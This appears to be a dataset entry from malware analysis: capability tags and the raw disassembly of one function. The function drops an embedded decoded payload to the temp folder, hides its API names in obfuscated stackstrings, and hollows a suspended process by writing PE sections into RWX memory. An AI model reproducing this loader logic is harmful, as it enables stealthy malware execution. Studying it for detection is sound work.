Function at 0x140001850
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Get common file path
Link many functions at runtime
Parse pe header
Write file on windows

Disassembly:
push rbp
push r13
push r12
push rdi
push rbx
mov eax, 0xa790
call fcn.1400a4070
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa740], rcx
mov rax, qword [rbp + 0xa740]
mov qword [rbp + 0xa6e8], rax
mov rax, qword [rbp + 0xa6e8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa6e8]
add rax, rdx
mov qword [rbp + 0xa6e0], rax
mov rax, qword [rbp + 0xa6e8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa6e8]
add rax, rdx
add rax, 0x108
mov qword [rbp + 0xa6d8], rax
cmp qword [rbp + 0xa6e8], 0
je 0x1400018e1
cmp qword [rbp + 0xa6e0], 0
je 0x1400018e1
cmp qword [rbp + 0xa6d8], 0
jne 0x1400018eb
mov ebx, 0
jmp 0x1400038da
lea rax, [rbp + 0xa180]
mov rdx, rax
mov ecx, 0x100
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
movabs rax, 0x3433474644455751
movabs rdx, 0x7663787a38373635
mov qword [rbp + 0xa160], rax
mov qword [rbp + 0xa168], rdx
mov word [rbp + 0xa170], 0x6e62
lea rdx, [rbp + 0xa050]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
call sym.rand
mov ecx, eax
movsxd rax, ecx
imul rax, rax, 0x66666667
shr rax, 0x20
mov edx, eax
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
lea eax, [rdx + 0xa]
mov dword [rbp + 0xa6d4], eax
mov dword [rbp + 0xa70c], 0
jmp 0x140001a0a
call sym.rand
movsxd rcx, eax
movabs rdx, 0xe38e38e38e38e38f
mov rax, rcx
mul rdx
shr rdx, 4
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
sub rcx, rax
mov rdx, rcx
mov dword [rbp + 0xa614], edx
mov word [rbp + 0x2e], 0
mov eax, dword [rbp + 0xa614]
cdqe
movzx eax, byte [rbp + rax + 0xa160]
mov byte [rbp + 0x2e], al
lea rdx, [rbp + 0x2e]
lea rax, [rbp + 0xa050]
mov rcx, rax
call sym.strcat
add dword [rbp + 0xa70c], 1
mov eax, dword [rbp + 0xa70c]
cmp eax, dword [rbp + 0xa6d4]
jl 0x1400019a2
lea rdx, [rbp + 0xa180]
lea rax, [rbp + 0x9e40]
mov rcx, rax
call sym.int_wcscpy_s_260ull__wchar_t_____260ull___wchar_t_const_
lea rdx, [rbp + 0xa050]
lea rax, [rbp + 0x9e40]
mov rcx, rax
call sym.int_wcscat_s_260ull__wchar_t_____260ull___wchar_t_const_
mov word [rbp + 0xa046], 0
mov qword [rbp + 0x9e38], 0
lea rdx, [rbp + 0x9e40]
lea rax, [rbp + 0x9e38]
lea r8, [0x1401cd1aa]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wfopen_s]
call rax
mov dword [rbp + 0xa6d0], eax
cmp dword [rbp + 0xa6d0], 0
jne 0x140001a94
mov rax, qword [rbp + 0x9e38]
test rax, rax
jne 0x140001a9e
mov ebx, 0
jmp 0x1400038da
mov byte [rbp + 0xa389], 0x44
mov byte [rbp + 0xa38a], 0xec
mov byte [rbp + 0xa38b], 0x71
mov byte [rbp + 0xa38c], 0x6e
mov byte [rbp + 0xa38d], 0x5b
mov byte [rbp + 0xa38e], 0xdb
lea rax, [rbp + 0xa389]
mov r12, rax
mov r13d, 6
lea rax, [rbp + 0xa38f]
mov qword [rbp + 0xa608], rax
nop
nop
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r13
lea rcx, [rbp + 0xa38f]
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x9e20]
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
lea rax, [rbp + 0xa38f]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
lea rax, [rbp + 0x4c0]
lea rdx, [0x1401cd1b0]
mov ecx, 0x9960
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x9e20]
mov r8d, 0x9960
mov rcx, rax
call sym._ds_std::vector_unsigned_char__std::allocator_unsigned_char____const__unsigned_char__unsigned_long_long_
mov rdx, qword [rbp + 0x9e38]
lea rax, [rbp + 0x4c0]
mov r9, rdx
mov r8d, 0x9960
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x9e38]
mov rcx, rax
call sym.fclose
mov rdx, qword [rbp + 0xa6d8]
mov rax, qword [rbp + 0xa6e0]
mov rcx, rax
call sym.hasReloc__IMAGE_NT_HEADERS___IMAGE_SECTION_HEADER_
mov byte [rbp + 0xa6cf], al
mov rax, qword [rbp + 0xa740]
mov qword [rbp + 0xa6c0], rax
lea rax, [rbp + 0x450]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x450], 0x68
lea rax, [rbp + 0x430]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x410], 0x5e
mov word [rbp + 0x412], 0x53
mov word [rbp + 0x414], 0x45
mov word [rbp + 0x416], 0x56
mov word [rbp + 0x418], 0x5c
mov word [rbp + 0x41a], 0x56
mov word [rbp + 0x41c], 8
mov word [rbp + 0x41e], 0xe
mov word [rbp + 0x420], 0x13
mov word [rbp + 0x422], 0x5a
mov word [rbp + 0x424], 0x53
mov word [rbp + 0x426], 0x2c
mov word [rbp + 0x428], 0x41
lea rax, [rbp + 0x410]
mov qword [rbp + 0xa600], rax
mov rax, qword [rbp + 0xa600]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x140001d28
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0xa5f8], rdx
mov qword [rbp + 0xa5f0], rax
mov dword [rbp + 0xa5ec], 0
jmp 0x140001d1e
mov eax, dword [rbp + 0xa5ec]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5f0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5ec]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa5f8]
mov edx, dword [rbp + 0xa5ec]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5ec], 1
cmp dword [rbp + 0xa5ec], 0xc
jle 0x140001cb6
nop
lea rax, [rbp + 0x410]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0xa6b8], rax
cmp qword [rbp + 0xa6b8], 0
jne 0x140001d56
mov ebx, 0
jmp 0x1400038cb
lea rax, [rbp + 0x410]
mov qword [rbp + 0xa5e0], rax
mov rax, qword [rbp + 0xa5e0]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140001e1a
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0xa5d8], rdx
mov qword [rbp + 0xa5d0], rax
mov dword [rbp + 0xa5cc], 0
jmp 0x140001e10
mov eax, dword [rbp + 0xa5cc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5d0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5cc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa5d8]
mov edx, dword [rbp + 0xa5cc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5cc], 1
cmp dword [rbp + 0xa5cc], 0xc
jle 0x140001da8
nop
mov dword [rbp + 0xa5a8], 0
jmp 0x140001e3f
mov eax, dword [rbp + 0xa5a8]
cdqe
mov word [rbp + rax*2 + 0x410], 0
add dword [rbp + 0xa5a8], 1
cmp dword [rbp + 0xa5a8], 0xc
jle 0x140001e26
nop
mov word [rbp + 0x3f0], 0x76
mov word [rbp + 0x3f2], 0x44
mov word [rbp + 0x3f4], 0x52
mov word [rbp + 0x3f6], 0x59
mov word [rbp + 0x3f8], 0x4d
mov word [rbp + 0x3fa], 0x5f
mov word [rbp + 0x3fc], 0x6b
mov word [rbp + 0x3fe], 0x4e
mov word [rbp + 0x400], 0x52
mov word [rbp + 0x402], 0x5d
mov word [rbp + 0x404], 0x5a
mov word [rbp + 0x406], 0x33
mov word [rbp + 0x408], 0x32
mov word [rbp + 0x40a], 0x15
mov word [rbp + 0x40c], 0x43
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0xa5c0], rax
mov rax, qword [rbp + 0xa5c0]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x140001f91
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0xa5b8], rdx
mov qword [rbp + 0xa5b0], rax
mov dword [rbp + 0xa5ac], 0
jmp 0x140001f87
mov eax, dword [rbp + 0xa5ac]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5b0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5ac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa5b8]
mov edx, dword [rbp + 0xa5ac]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5ac], 1
cmp dword [rbp + 0xa5ac], 0xe
jle 0x140001f1f
nop
lea rax, [rbp + 0x3f0]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6b0], rax
cmp qword [rbp + 0xa6b0], 0
jne 0x140001fd1
mov ebx, 0
jmp 0x1400038cb
mov r10, qword [rbp + 0xa6b0]
lea rax, [rbp + 0x9e40]
lea rdx, [rbp + 0x430]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x450]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa6af], al
movzx eax, byte [rbp + 0xa6af]
test eax, eax
jne 0x140002051
mov ebx, 0
jmp 0x1400038cb
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0xa5a0], rax
mov rax, qword [rbp + 0xa5a0]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002115
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0xa598], rdx
mov qword [rbp + 0xa590], rax
mov dword [rbp + 0xa58c], 0
jmp 0x14000210b
mov eax, dword [rbp + 0xa58c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa590]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa58c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa598]
mov edx, dword [rbp + 0xa58c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa58c], 1
cmp dword [rbp + 0xa58c], 0xe
jle 0x1400020a3
nop
mov dword [rbp + 0xa588], 0
jmp 0x14000213a
mov eax, dword [rbp + 0xa588]
cdqe
mov word [rbp + rax*2 + 0x3f0], 0
add dword [rbp + 0xa588], 1
cmp dword [rbp + 0xa588], 0xe
jle 0x140002121
nop
cmp byte [rbp + 0xa6cf], 0
je 0x1400023b6
mov word [rbp + 0x10], 0x7c
mov word [rbp + 0x12], 0x45
mov word [rbp + 0x14], 0x60
mov word [rbp + 0x16], 0x57
mov word [rbp + 0x18], 0x4e
mov word [rbp + 0x1a], 0xc
mov word [rbp + 0x1c], 0xf
mov word [rbp + 0x1e], 0x6c
mov word [rbp + 0x20], 0x4f
mov word [rbp + 0x22], 0x51
mov word [rbp + 0x24], 0x5c
mov word [rbp + 0x26], 0x25
mov word [rbp + 0x28], 0x32
mov word [rbp + 0x2a], 0x31
mov word [rbp + 0x2c], 0x43
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa580], rax
mov rax, qword [rbp + 0xa580]
mov qword [rbp + 0xa578], rax
mov rax, qword [rbp + 0xa578]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x140002277
mov rax, qword [rbp + 0xa580]
mov rdx, qword [rbp + 0xa580]
mov qword [rbp + 0xa570], rdx
mov qword [rbp + 0xa568], rax
mov dword [rbp + 0xa564], 0
jmp 0x14000226d
mov eax, dword [rbp + 0xa564]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa568]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa564]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa570]
mov edx, dword [rbp + 0xa564]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa564], 1
cmp dword [rbp + 0xa564], 0xe
jle 0x140002205
nop
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6a0], rax
cmp qword [rbp + 0xa6a0], 0
jne 0x1400022b4
mov ebx, 0
jmp 0x1400038cb
mov r8, qword [rbp + 0xa6a0]
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3ec]
mov rcx, rax
call r8
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa558], rax
mov rax, qword [rbp + 0xa558]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x14000238a
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0xa550], rdx
mov qword [rbp + 0xa548], rax
mov dword [rbp + 0xa544], 0
jmp 0x140002380
mov eax, dword [rbp + 0xa544]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa548]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa544]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa550]
mov edx, dword [rbp + 0xa544]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa544], 1
cmp dword [rbp + 0xa544], 0xe
jle 0x140002318
nop
mov dword [rbp + 0xa540], 0
jmp 0x1400023ac
mov eax, dword [rbp + 0xa540]
cdqe
mov word [rbp + rax*2 + 0x10], 0
add dword [rbp + 0xa540], 1
cmp dword [rbp + 0xa540], 0xe
jle 0x140002396
nop
mov word [rbp + 0x3c0], 0x63
mov word [rbp + 0x3c2], 0x5f
mov word [rbp + 0x3c4], 0x45
mov word [rbp + 0x3c6], 0x4c
mov word [rbp + 0x3c8], 0x4c
mov word [rbp + 0x3ca], 0x5b
mov word [rbp + 0x3cc], 0x57
mov word [rbp + 0x3ce], 0x7d
mov word [rbp + 0x3d0], 0x51
mov word [rbp + 0x3d2], 0x52
mov word [rbp + 0x3d4], 0x50
mov word [rbp + 0x3d6], 0x23
mov word [rbp + 0x3d8], 4
mov word [rbp + 0x3da], 0x3a
mov word [rbp + 0x3dc], 0x43
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0xa538], rax
mov rax, qword [rbp + 0xa538]
mov qword [rbp + 0xa530], rax
mov rax, qword [rbp + 0xa530]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x14000250c
mov rax, qword [rbp + 0xa538]
mov rdx, qword [rbp + 0xa538]
mov qword [rbp + 0xa528], rdx
mov qword [rbp + 0xa520], rax
mov dword [rbp + 0xa51c], 0
jmp 0x140002502
mov eax, dword [rbp + 0xa51c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa520]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa51c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa528]
mov edx, dword [rbp + 0xa51c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa51c], 1
cmp dword [rbp + 0xa51c], 0xe
jle 0x14000249a
nop
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa698], rax
cmp qword [rbp + 0xa698], 0
jne 0x14000254c
mov ebx, 0
jmp 0x1400038cb
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0xa510], rax
mov rax, qword [rbp + 0xa510]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002610
lea rax, [rbp + 0x3c0]
lea rdx, [rbp + 0x3c0]
mov qword [rbp + 0xa508], rdx
mov qword [rbp + 0xa500], rax
mov dword [rbp + 0xa4fc], 0
jmp 0x140002606
mov eax, dword [rbp + 0xa4fc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa500]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa508]
mov edx, dword [rbp + 0xa4fc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4fc], 1
cmp dword [rbp + 0xa4fc], 0xe
jle 0x14000259e
nop
mov dword [rbp + 0xa4f8], 0
jmp 0x140002635
mov eax, dword [rbp + 0xa4f8]
cdqe
mov word [rbp + rax*2 + 0x3c0], 0
add dword [rbp + 0xa4f8], 1
cmp dword [rbp + 0xa4f8], 0xe
jle 0x14000261c
nop
mov r10, qword [rbp + 0xa698]
mov rax, qword [rbp + 0xa6e0]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0xa6e0]
mov eax, dword [rax + 0x34]
mov eax, eax
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
call r10
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
test rax, rax
jne 0x14000269c
mov ebx, 0
jmp 0x1400038cb
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0xa6e0]
mov eax, dword [rax + 0x34]
sub edx, eax
mov dword [rbp + 0xa694], edx
mov word [rbp + 0x390], 0x62
mov word [rbp + 0x392], 0x44
mov word [rbp + 0x394], 0x5e
mov word [rbp + 0x396], 0x4c
mov word [rbp + 0x398], 0x5c
mov word [rbp + 0x39a], 0x6a
mov word [rbp + 0x39c], 0x49
mov word [rbp + 0x39e], 0x53
mov word [rbp + 0x3a0], 0x5e
mov word [rbp + 0x3a2], 0x5b
mov word [rbp + 0x3a4], 0x4c
mov word [rbp + 0x3a6], 0x33
mov word [rbp + 0x3a8], 0xc
mov word [rbp + 0x3aa], 0x27
mov word [rbp + 0x3ac], 0x2e
mov word [rbp + 0x3ae], 0x2b
mov word [rbp + 0x3b0], 0x37
mov word [rbp + 0x3b2], 0x3f
mov word [rbp + 0x3b4], 0x47
lea rax, [rbp + 0x390]
mov qword [rbp + 0xa4f0], rax
mov rax, qword [rbp + 0xa4f0]
mov qword [rbp + 0xa4e8], rax
mov rax, qword [rbp + 0xa4e8]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
test al, al
je 0x140002831
mov rax, qword [rbp + 0xa4f0]
mov rdx, qword [rbp + 0xa4f0]
mov qword [rbp + 0xa4e0], rdx
mov qword [rbp + 0xa4d8], rax
mov dword [rbp + 0xa4d4], 0
jmp 0x140002827
mov eax, dword [rbp + 0xa4d4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa4d8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4d4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa4e0]
mov edx, dword [rbp + 0xa4d4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4d4], 1
cmp dword [rbp + 0xa4d4], 0x12
jle 0x1400027bf
nop
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa688], rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0xa4c8], rax
mov rax, qword [rbp + 0xa4c8]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002921
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x390]
mov qword [rbp + 0xa4c0], rdx
mov qword [rbp + 0xa4b8], rax
mov dword [rbp + 0xa4b4], 0
jmp 0x140002917
mov eax, dword [rbp + 0xa4b4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa4b8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4b4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa4c0]
mov edx, dword [rbp + 0xa4b4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4b4], 1
cmp dword [rbp + 0xa4b4], 0x12
jle 0x1400028af
nop
mov dword [rbp + 0xa4b0], 0
jmp 0x140002946
mov eax, dword [rbp + 0xa4b0]
cdqe
mov word [rbp + rax*2 + 0x390], 0
add dword [rbp + 0xa4b0], 1
cmp dword [rbp + 0xa4b0], 0x12
jle 0x14000292d
nop
mov byte [rbp + 0xa70b], 0
cmp byte [rbp + 0xa6cf], 0
je 0x1400029bf
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0xa6e0]
mov dword [rax + 0x34], edx
mov r10, qword [rbp + 0xa688]
mov rax, qword [rbp + 0xa6e0]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0xa6c0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa70b], al
jmp 0x140002a09
mov r10, qword [rbp + 0xa688]
mov rax, qword [rbp + 0xa6e0]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0xa6c0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa70b], al
movzx eax, byte [rbp + 0xa70b]
test eax, eax
jne 0x140002a1e
mov ebx, 0
jmp 0x1400038cb
mov qword [rbp + 0xa700], 0
mov rax, qword [rbp + 0xa6e0]
mov eax, dword [rax + 0xa0]
test eax, eax
je 0x140002a51
mov rax, qword [rbp + 0xa6e0]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x388], rax
jmp 0x140002a65
mov dword [rbp + 0x388], 0
mov dword [rbp + 0x38c], 0
mov qword [rbp + 0xa680], 0
mov byte [rbp + 0xa67f], 0
cmp byte [rbp + 0xa6cf], 0
je 0x140002bcf
mov dword [rbp + 0xa6fc], 0
jmp 0x140002b9d
mov rax, qword [rbp + 0xa6e0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xa6e0]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0xa6fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0xa670], rax
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0xa670]
mov eax, dword [rax + 0xc]
cmp edx, eax
jb 0x140002b13
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0xa670]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0xa670]
mov eax, dword [rax + 8]
add eax, ecx
cmp edx, eax
jae 0x140002b13
mov rax, qword [rbp + 0xa670]
mov qword [rbp + 0xa700], rax
mov r10, qword [rbp + 0xa688]
mov rax, qword [rbp + 0xa670]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0xa670]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa6c0]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0xa670]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa66f], al
movzx eax, byte [rbp + 0xa66f]
test eax, eax
jne 0x140002b96
mov ebx, 0
jmp 0x1400038cb
add dword [rbp + 0xa6fc], 1
mov rax, qword [rbp + 0xa6e0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xa6fc], eax
jl 0x140002a93
cmp qword [rbp + 0xa700], 0
jne 0x140002cc0
mov ebx, 0
jmp 0x1400038cb
mov dword [rbp + 0xa6f8], 0
jmp 0x140002ca6
mov rax, qword [rbp + 0xa6e0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xa6e0]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0xa6f8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0xa680], rax
mov r10, qword [rbp + 0xa688]
mov rax, qword [rbp + 0xa680]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0xa680]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa6c0]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0xa680]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa67f], al
movzx eax, byte [rbp + 0xa67f]
test eax, eax
jne 0x140002c9f
